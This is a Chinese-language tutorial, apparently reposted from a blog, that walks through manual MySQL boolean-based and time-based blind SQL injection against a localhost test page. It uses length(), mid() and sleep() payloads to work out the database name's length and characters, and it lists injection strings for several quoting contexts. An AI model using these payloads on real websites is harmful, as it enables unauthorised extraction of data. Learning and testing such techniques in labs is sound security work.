十幾分鐘讓你學會MySQL布爾和延遲盲註手工操作
阿新 • • 發佈:2018-12-28
commons height too 什麽 有變 mysq 利用 s2d 不知道
作者:Max老白Gān丶
鏈接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
來源:LOFTER
- 註入常用到的幾個函數
-
1 mid(str,1,3)
這裏我們要看到123456789 從第一個字節也就是1開始獲取到3就截止了 -
1 ORD()
我們看到這裏把a轉換成了97 我們去看對照表 -
1 Length()
-
1 version()
-
1 database
()
-
1 user
()
首先我們確定註入了驗證要先獲取數據庫長度
1 2 |
’ and length( database ())
’ or length( database ())
|
我們先看一下數據庫中sqltest長度【其實就是7個】
小知識點:有數據用and 沒數據用or
1 |
http://localhost/test.php?id=1’ and length( database ()) >1 #
|
1 |
’ and length( database ()) >1 #:
|
意思是數據庫的長度是否大於1
沒有變化以此類推
發現變換
這時候我們要確定他到底是多少字節
1 |
http://localhost/test.php?id=1‘ and length( database ()) = 8 %23
|
他等於8嗎?不等於
他等於6嗎?不等於
他等於7返回正確頁面說明他的字節是7
現在我們獲取數據庫名字:
1 |
http://localhost/test.php?id=1 ‘ and mid(database(),1,1) =‘ 1‘%23
|
1 |
mid( database (),1,1) = ‘1‘
|
:它的意思是從第一個獲取每次只取一個 它等於1嗎?
很顯然不等
然後修改後面的以此類推我們試到
1 |
http://localhost/test.php?id=1 ‘ and mid(database(),1,1) =‘ s‘%23
|
返回true的正確頁面
如果我們想獲取第二位第三位怎麽辦?
1 2 3 4 5 6 7 |
mid( database (),2,1)
mid( database (),3,1)
mid( database (),4,1)
mid( database (),5,1)
mid( database (),6,1)
mid( database (),7,1)
http://localhost/test.php?id=1 ‘ and mid(database(),2,1) =‘ q‘%23
|
剩下的我就不一一獲取了學習這樣方式就明白了。
延時註入方法:
常用的判斷語句:
1 2 3 4 5 6 7 8 9 |
‘ and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
‘ ) and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
|
為什麽我和布爾註入寫在一個文章裏面哪?因為他們操作的流程是差不多的。
延時了10秒確定存在註入。
獲取數據庫長度利用上面的知識:
1 |
‘ and if(length( database ())=9,sleep(10),1) --+
|
意思是如果數據過長度等於9他就延時10秒
1 |
‘ and if(length( database ())<6,sleep(10),1) --+
|
如果一開始不知道他長度可以用這個大致判斷的長度然後用上面的等於確定
長度小於6嗎?沒有延遲不小於6
小於9嗎?
延遲成功表名數據庫小於9 也就是說數據庫長度在6-9之間
1 |
‘ and if(length( database ())=7,sleep(10),1) --+
|
一 一測試我們確定長度是7
獲取數據庫名字:
1 |
http://localhost/test.php?id=1 ‘ and if(mid(database(),1,1) =‘ s‘,sleep(10),1) --+
|
十幾分鐘讓你學會MySQL布爾和延遲盲註手工操作